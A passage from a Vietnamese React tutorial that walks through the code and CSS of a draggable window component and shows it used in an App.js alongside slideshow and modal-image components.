punctuation">.</span>dragMouseDown <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">dragMouseDown</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>elementDrag <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">elementDrag</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>closeDragElement <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">closeDragElement</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này được gọi khi component render xong lên màn hình */</span> <span class="token function">componentDidMount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Lấy ra DOM node của đối tượng root - toàn bộ component</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root <span class="token operator">=</span> ReactDOM<span class="token punctuation">.</span><span class="token function">findDOMNode</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lấy ra DOM node của content - vùng chứa nội dung</span> <span class="token keyword">this</span><span class="token punctuation">.</span>content <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".content"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/** * Lấy ra DOM node của header - vùng cho phép click chuột * để di chuyển */</span> <span class="token keyword">this</span><span class="token punctuation">.</span>header <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".header"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/** * Tính lại chiều cao cho vùng content, * chiều rộng của content luôn = 100% giá trị của root */</span> <span class="token keyword">const</span> height <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span>offsetHeight <span class="token operator">-</span> <span class="token keyword">this</span><span class="token punctuation">.</span>header<span class="token punctuation">.</span>offsetHeight<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>content<span class="token punctuation">.</span>style<span class="token punctuation">.</span>height <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>height<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token comment">/** * Sau đó, thêm scrollbar vào content, * nếu nội dung vượt quá kích thước của vùng */</span> <span class="token function">addScrollbarXIfNeeded</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>content<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">addScrollbarYIfNeeded</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>content<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Đăng ký sự kiện khi người dùng click chuột vào header</span> <span class="token keyword">this</span><span class="token punctuation">.</span>header<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"mousedown"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>dragMouseDown<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">componentWillUnmount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Huỷ đăng ký sự kiện khi người dùng click chuột vào header</span> <span class="token keyword">this</span><span class="token punctuation">.</span>header<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"mousedown"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>dragMouseDown<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này xử lý khi người dùng click chuột vào header, * do đó đối số e - tương ứng với đối tượng MouseEvent */</span> <span class="token function">dragMouseDown</span><span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Huỷ bỏ tất cả các xử lý mặc định, nếu có</span> e<span class="token punctuation">.</span><span class="token function">preventDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/** * Lấy ra vị trí click chuột đầu tiên, * Mục đích là khi người dùng di chuyển, * mình sẽ tính vị trí chuột mới. * Sau đó, lấy giá vị trí mới trừ đi giá trị vị trí cũ, * sẽ tính được khoảng di chuyển của chuột * => cập nhật lại toạ độ cho Component */</span> <span class="token keyword">this</span><span class="token punctuation">.</span>startX <span class="token operator">=</span> e<span class="token punctuation">.</span>clientX<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>startY <span class="token operator">=</span> e<span class="token punctuation">.</span>clientY<span class="token punctuation">;</span> <span class="token comment">// Đăng ký sự kiện mousemove, để xử lý khi di chuyển chuột</span> window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"mousemove"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>elementDrag<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/** * Đăng ký sự kiện mouseup, để xử lý khi người dùng nhả chuột. * Lúc này, đồng nghĩa với việc dừng di chuyển Component. */</span> window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"mouseup"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>closeDragElement<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Xử lý khi người dùng đã click chuột vào header của component * và đang di chuyển => đối số e - là MouseEvent */</span> <span class="token function">elementDrag</span><span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Huỷ bỏ tất cả các xử lý mặc định, nếu có</span> e<span class="token punctuation">.</span><span class="token function">preventDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/** * Lúc này, mình cũng tính được vị trí của chuột hiện tại, * chính là e.clientX và e.clientY. * Sau đó, lấy giá trị cũ (this.startX, this.startY) trừ đi * giá trị mới là tính được khoảng di chuyển. */</span> <span class="token keyword">const</span> deltaX <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>startX <span class="token operator">-</span> e<span class="token punctuation">.</span>clientX<span class="token punctuation">;</span> <span class="token keyword">const</span> deltaY <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>startY <span class="token operator">-</span> e<span class="token punctuation">.</span>clientY<span class="token punctuation">;</span> <span class="token comment">// Tính toán vị trí top, left, right, bottom mới của component</span> <span class="token keyword">const</span> newTop <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span>offsetTop <span class="token operator">-</span> deltaY<span class="token punctuation">;</span> <span class="token keyword">const</span> newLeft <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span>offsetLeft <span class="token operator">-</span> deltaX<span class="token punctuation">;</span> <span class="token keyword">const</span> newRight <span class="token operator">=</span> newLeft <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span>offsetWidth<span class="token punctuation">;</span> <span class="token keyword">const</span> newBottom <span class="token operator">=</span> newTop <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span>offsetHeight<span class="token punctuation">;</span> <span class="token comment">/** * Kiểm tra thử xem ứng với vị trí mới này, * component có nằm trong chiều rộng màn hình không, * Nếu có, thì mới cập nhật vị trí mới */</span> <span class="token keyword">if</span> <span class="token punctuation">(</span> newLeft <span class="token operator">>=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> newLeft <span class="token operator">&lt;=</span> maxWidth <span class="token operator">&amp;&amp;</span> newRight <span class="token operator">>=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> newRight <span class="token operator">&lt;=</span> maxWidth <span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>startX <span class="token operator">=</span> e<span class="token punctuation">.</span>clientX<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span>style<span class="token punctuation">.</span>left <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>newLeft<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Kiểm tra thử xem ứng với vị trí mới này, * component có nằm trong chiều cao màn hình không, * Nếu có, thì mới cập nhật vị trí mới */</span> <span class="token keyword">if</span> <span class="token punctuation">(</span> newTop <span class="token operator">>=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> newTop <span class="token operator">&lt;=</span> maxHeight <span class="token operator">&amp;&amp;</span> newBottom <span class="token operator">>=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> newBottom <span class="token operator">&lt;=</span> maxHeight <span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>startY <span class="token operator">=</span> e<span class="token punctuation">.</span>clientY<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span>style<span class="token punctuation">.</span>top <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>newTop<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này xử lý khi người dùng nhả chuột - ngừng di chuyển, * Mình phải huy các sự kiện mouseup và mousemove đã đăng ký */</span> <span class="token function">closeDragElement</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> window<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"mouseup"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>closeDragElement<span class="token punctuation">)</span><span class="token punctuation">;</span> window<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"mousemove"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>elementDrag<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> title <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>title <span class="token operator">||</span> <span class="token string">"Click here to move"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> elemStyle <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">width</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>width <span class="token operator">||</span> <span class="token number">300</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">height</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>height <span class="token operator">||</span> <span class="token number">300</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">top</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>top <span class="token operator">||</span> <span class="token number">0</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">left</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>left <span class="token operator">||</span> <span class="token number">0</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>lp-draggable-element<span class="token punctuation">"</span></span> <span class="token attr-name">style</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>elemStyle<span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>header<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token punctuation">{</span>title<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>content<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>children<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="nội-dung-file-draggable-elementcss" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-draggable-elementcss" aria-label="nội dung file draggable elementcss permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file draggable-element.css</h3> <p>File này dùng để xác định style cho Draggable Element Component. Bạn chú ý là mọi thành phần mình đều để trong class <strong>.lp-draggable-element</strong> để đảm bảo không bị xung đột với các component khác (khi kết hợp các component lại với nhau).</p> <p>Ngoài ra, mình sử dụng <a href="https://www.w3schools.com/cssref/css_selectors.asp">CSS selector</a> là <strong>></strong>. Với ý nghĩa, ví dụ khi mình dùng <strong>element1 > element2</strong> thì sẽ hiểu style này được áp dụng cho <strong>element2</strong> là con trực tiếp của <strong>element1</strong> mà không phải cháu, chắt,…</p> <div class="gatsby-code-title gatsby-remark-code-title">draggable-element.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.lp-draggable-element, .lp-draggable-element *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * Thuộc tính quan trọng là ```position: absolute```; * Để có thể xét vị trí tuyệt đối khi di chuyển */</span> <span class="token selector">.lp-draggable-element</span> <span class="token punctuation">{</span> <span class="token property">position</span><span class="token punctuation">:</span> absolute<span class="token punctuation">;</span> <span class="token property">z-index</span><span class="token punctuation">:</span> 9<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #f1f1f1<span class="token punctuation">;</span> <span class="token property">border</span><span class="token punctuation">:</span> 1px solid #d3d3d3<span class="token punctuation">;</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">max-width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">max-height</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-draggable-element > .header</span> <span class="token punctuation">{</span> <span class="token property">padding</span><span class="token punctuation">:</span> 10px<span class="token punctuation">;</span> <span class="token property">cursor</span><span class="token punctuation">:</span> move<span class="token punctuation">;</span> <span class="token property">z-index</span><span class="token punctuation">:</span> 10<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #2196f3<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #fff<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-draggable-element > .content</span> <span class="token punctuation">{</span> <span class="token property">padding</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="sử-dụng-draggable-element-component" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-draggable-element-component" aria-label="sử dụng draggable element component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Draggable Element component</h2> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.App, .App *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.App</span> <span class="token punctuation">{</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">max-width</span><span class="token punctuation">:</span> 780px<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token property">font</span><span class="token punctuation">:</span> normal normal normal 1rem/1.6 Nunito Sans<span class="token punctuation">,</span> Helvetica<span class="token punctuation">,</span> Arial<span class="token punctuation">,</span> sans-serif<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đây mình có kết hợp Draggable Element với các React Component khác mà mình đã làm như: <a href="/hoc-react-qua-vi-du-3-modal-image/">Modal Image</a>, <a href="/hoc-react-qua-vi-du-1-slideshow/">Slideshow</a>.</p> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./App.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> DraggableElement <span class="token keyword">from</span> <span class="token string">"./components/draggable-element/draggable-element"</span><span class="token punctuation">;</span> <span class="token comment">// Kết hợp Modal Image trong DraggableElement</span> <span class="token keyword">import</span> ModalImage <span class="token keyword">from</span> <span class="token string">"./components/modal-image/modal-image"</span><span class="token punctuation">;</span> <span class="token comment">// Kết Slideshow trong DraggableElement</span> <span class="token keyword">import</span> Slideshow <span class="token keyword">from</span> <span class="token string">"./components/slideshow/slideshow"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img1 <span class="token keyword">from</span> <span class="token string">"./images/01.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img2 <span class="token keyword">from</span> <span class="token string">"./images/02.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img3 <span class="token keyword">from</span> <span class="token string">"./images/03.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img4 <span class="token keyword">from</span> <span class="token string">"./images/04.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img5 <span class="token keyword">from</span> <span class="token string">"./images/05.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img6 <span class="token keyword">from</span> <span class="token string">"./images/06.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> collection <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img1<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption one"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img2<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption two"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img3<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption three"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img4<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption four"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img5<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption five"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img6<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption six"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>App<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text">Draggable Element</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> Made by </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://about.phamvanlam.com/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">Lam Pham</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. Visit me at </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">completejavascript.com</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">DraggableElement</span></span> <span class="token attr-name">title</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Click here to move</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">width</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">400</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">height</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">250</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">top</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">150</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">left</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">200</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris, nisi ut aliquip ex ea commodo consequat. </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">DraggableElement</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">DraggableElement</span></span> <span class="token attr-name">title</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Click here to move</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">width</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">400</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">height</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">450</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">top</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">350</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">left</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">300</span><span class="token template-punctuation string">`</span></span><span 